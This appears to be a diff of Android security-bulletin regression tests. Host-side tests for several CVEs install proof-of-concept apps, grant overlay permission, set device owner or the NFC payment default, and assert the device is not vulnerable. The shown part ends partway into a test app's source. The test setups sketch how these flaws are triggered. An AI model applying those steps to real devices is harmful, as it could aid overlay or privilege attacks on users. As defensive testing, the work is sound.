@@ -17,21 +17,26 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
+
import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
+import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2021_39675 extends SecurityTestCase {
- /**
- * b/174738029
- *
+ /**
+ * b/205729183
+ * Vulnerability Behavior: EXIT_VULNERABLE (113)
*/
- @AsbSecurityTest(cveBugId = 174738029)
+ @AsbSecurityTest(cveBugId = 205729183)
@Test
- public void testPocCVE_2020_29368() throws Exception {
- AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+ public void testPocCVE_2021_39675() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(),
+ AdbUtils.TIMEOUT_SEC);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
new file mode 100644
index 0000000..444f1a5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 209611539)
+ @Test
+ public void testPocCVE_2021_39692() throws Exception {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2021_39692";
+ uninstallPackage(device, testPkg);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39692.apk");
+ AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
new file mode 100644
index 0000000..acc6a2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase {
+
+ /**
+ * b/201645790
+ * This test is related to
+ * "hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java"
+ */
+ @AsbSecurityTest(cveBugId = 201645790)
+ @Test
+ public void testPocCVE_2021_39700() throws Exception {
+ ITestDevice device = getDevice();
+ assumeTrue("Failed to unroot the device", device.disableAdbRoot());
+ String procUdp6File = "/proc/net/udp6";
+ File tempFile = File.createTempFile("CVE_2021_39700", "temp");
+ assertTrue("Vulnerable to b/201645790 !!", device.pullFile(procUdp6File, tempFile));
+ tempFile.deleteOnExit();
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
new file mode 100644
index 0000000..d92af4d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39702 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_39702";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-39702.apk";
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 205150380)
+ @Test
+ public void testPocCVE_2021_39702() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP);
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
new file mode 100644
index 0000000..e2d88bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase {
+ public static final int USER_ID = 0;
+ static final String TEST_APP = "CVE-2021-39706.apk";
+ static final String TEST_PKG = "android.security.cts.CVE_2021_39706";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ public static final String TEST_DEVICE_ADMIN_RECEIVER = TEST_PKG + ".PocDeviceAdminReceiver";
+
+ @After
+ public void tearDown() throws Exception {
+ // Remove Device Admin Component
+ AdbUtils.runCommandLine("dpm remove-active-admin --user " + USER_ID + " '" + TEST_PKG + "/"
+ + TEST_DEVICE_ADMIN_RECEIVER + "'", getDevice());
+ }
+
+ @AsbSecurityTest(cveBugId = 200164168)
+ @Test
+ public void testPocCVE_2021_39706() throws Exception {
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP, "-t");
+ // Set Device Admin Component
+ AdbUtils.runCommandLine("dpm set-device-owner --user " + USER_ID + " '" + TEST_PKG + "/"
+ + TEST_DEVICE_ADMIN_RECEIVER + "'", device);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testCredentialReset");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
new file mode 100644
index 0000000..0ae1efa
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39794 extends StsExtraBusinessLogicHostTestBase {
+
+ static final String TEST_APP = "CVE-2021-39794-test.apk";
+ static final String RECEIVER_APP = "CVE-2021-39794-receiver.apk";
+
+ static final String TEST_PKG = "android.security.cts.CVE_2021_39794_test";
+ static final String RECEIVER_PKG = "android.security.cts.CVE_2021_39794_receiver";
+
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+ /**
+ * b/205836329
+ */
+ @AsbSecurityTest(cveBugId = 205836329)
+ @Test
+ public void testPocCVE_2021_39794() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+ uninstallPackage(device, RECEIVER_PKG);
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage(RECEIVER_APP);
+ AdbUtils.runCommandLine("am start -n " + RECEIVER_PKG + "/.PocActivity", device);
+
+ installPackage(TEST_APP);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_39794"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
new file mode 100644
index 0000000..f90cae0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39796 extends StsExtraBusinessLogicHostTestBase {
+ static final int USER_ID = 0;
+ static final String TEST_PKG = "android.security.cts.CVE_2021_39796";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ static final String TEST_APP = "CVE-2021-39796.apk";
+ static final String HARMFUL_APP = "CVE-2021-39796-harmful.apk";
+ static final String HARMFUL_PKG = "android.security.cts.CVE_2021_39796_harmful";
+
+ @AsbSecurityTest(cveBugId = 205595291)
+ @Test
+ public void testPocCVE_2021_39796() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage(HARMFUL_APP);
+ /* Set the harmful app as harmful */
+ AdbUtils.runCommandLine("pm set-harmful-app-warning " + HARMFUL_PKG + " harmful 0", device);
+
+ installPackage(TEST_APP);
+
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", device);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
new file mode 100644
index 0000000..1c1b246
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39804 extends SecurityTestCase {
+
+ /**
+ * b/215002587
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libheif (As per AOSP code)
+ * Vulnerable Function: reinit (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 215002587)
+ @Test
+ public void testPocCVE_2021_39804() throws Exception {
+ String inputFiles[] = {"cve_2021_39804.heif"};
+ String binaryName = "CVE-2021-39804";
+ String signals[] = {CrashUtils.SIGSEGV};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config =
+ new CrashUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
+ new BacktraceFilterPattern("libheif", "android::HeifDecoderImpl::reinit"));
+ testConfig.config.checkMinAddress(false);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
new file mode 100644
index 0000000..f952082
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39810 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 212610736)
+ @Test
+ public void testPocCVE_2021_39810() {
+ try {
+ // clearing default payment app component if already set
+ AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null",
+ getDevice());
+ installPackage("CVE-2021-39810.apk");
+ String defaultComponent = AdbUtils.runCommandLine(
+ "settings get secure nfc_payment_default_component", getDevice());
+ AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null",
+ getDevice());
+ assertFalse("Vulnerable to 212610736! Setting default payment app without user consent",
+ defaultComponent.contains("PocService"));
+ } catch (Exception e) {
+ // assumption failure if a generic exception is thrown by AdbUtils.runCommandLine()
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0353c3d..d7a3afc7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -19,6 +19,7 @@
import com.android.compatibility.common.util.MetricsReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.Option;
import com.android.tradefed.testtype.IBuildReceiver;
@@ -49,7 +50,7 @@
import static org.junit.Assume.*;
import static org.hamcrest.core.Is.is;
-public class SecurityTestCase extends BaseHostJUnit4Test {
+public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
private static final String LOG_TAG = "SecurityTestCase";
private static final int RADIX_HEX = 16;
@@ -58,7 +59,7 @@
// account for the poc timer of 5 minutes (+15 seconds for safety)
protected static final int TIMEOUT_NONDETERMINISTIC = 315;
- private long kernelStartTime;
+ private long kernelStartTime = -1;
private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
@@ -119,9 +120,13 @@
getDevice().waitForDeviceAvailable(30 * 1000);
}
- long deviceTime = getDeviceUptime() + kernelStartTime;
- long hostTime = System.currentTimeMillis() / 1000;
- assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+ if (kernelStartTime != -1) {
+ // only fail when the kernel start time is valid
+ long deviceTime = getDeviceUptime() + kernelStartTime;
+ long hostTime = System.currentTimeMillis() / 1000;
+ assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+ kernelStartTime = -1;
+ }
// TODO(badash@): add ability to catch runtime restart
}
@@ -340,7 +345,7 @@
String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
"/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
"/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
- "/dev/st54j*" };
+ "/dev/st54j*", "/dev/st21nfc*" };
boolean isDriverFound = false;
for(String supportedDriver : supportedDrivers) {
if(containsDriver(device, supportedDriver, false)) {
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
index b2dc9b8..e44a04a 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
@@ -41,6 +41,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeNotNull;
/** Basic sample for unbundled UiAutomator. */
@RunWith(AndroidJUnit4.class)
@@ -111,7 +112,7 @@
mContext.startActivity(intent);
UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE));
- assertNotNull("Activity under-test was not launched or found!", view);
+ assumeNotNull("Activity under-test was not launched or found!", view);
Log.d(LOG_TAG, "Started Activity under-test.");
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
index bcbf54f..4efed42 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,17 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2020-0015",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
new file mode 100644
index 0000000..7685c35
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2020_0015"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE_2020_0015"
+ android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".PocService"
+ android:enabled="true" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2020_0015" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
new file mode 100644
index 0000000..f0a0779
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
new file mode 100644
index 0000000..93f9df8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="activityNotStartedException">Unable to start the %1$s</string>
+ <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="certName">Sample Certificate</string>
+ <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+ <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+ <string name="intentExtraKeyCert">CERT</string>
+ <string name="intentExtraKeyName">name</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayErrorMessage">Device is vulnerable to b/139017101 hence any app with
+ SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="rawResOpenError">Could not open the raw resource %1$s</string>
+ <string name="streamReadError">Could not read from the raw resource cacert</string>
+ <string name="streamReadWriteException">Error while trying to read from InputStream object
+ and writing to a ByteArrayOutputStream object</string>
+ <string name="testPkg">android.security.cts.CVE_2020_0015</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
new file mode 100644
index 0000000..f42eb75
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ String testVulnerablePackage = "";
+
+ private void startOverlayService() {
